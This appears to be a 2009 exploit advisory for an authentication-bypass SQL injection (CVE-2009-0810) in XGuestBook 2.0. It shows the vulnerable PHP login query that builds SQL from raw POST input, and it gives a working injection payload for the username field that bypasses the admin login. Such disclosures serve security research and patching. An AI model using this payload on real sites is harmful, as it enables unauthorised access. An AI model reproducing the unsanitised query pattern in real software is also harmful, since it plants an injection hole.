XGuestBook 2.0 (Auth Bypass) SQL Injection Vulnerability

2009.03.08

Credit: FireShot

Risk: High

Local: No

Remote: Yes

CVE: CVE-2009-0810

CWE: CWE-89

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

##########################################################################

Author = FireShot , Jacopo Vuga.
Mail = fireshot<at>autistici<dot>org

Vulnerability = SQL Admin Auth Bypass
Software = XGuestBook v2.0
Download =http://script.wareseeker.com/download/xguestbook.rar/14488

Greets to = Osirys, Myral, str0ke

###########################################################################

[CODE]

$user = $_POST['user'];
$pass = md5($_POST['pass']);

$result = mysql_query("SELECT * FROM xgb_user WHERE user='" . $user . "'
AND pass= '" . $pass . "'", $db_conn) or die (mysql_error());

[/CODE]

[EXPLOIT]

[URL] = http://www.site.com/login.php

you can inject SQL code in the USER space to bypass the admin login 

[USER] = admin' or '1=1

[/EXPLOIT]

############################################################################

See this note in RAW Version

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XGuestBook 2.0 (Auth Bypass) SQL Injection Vulnerability

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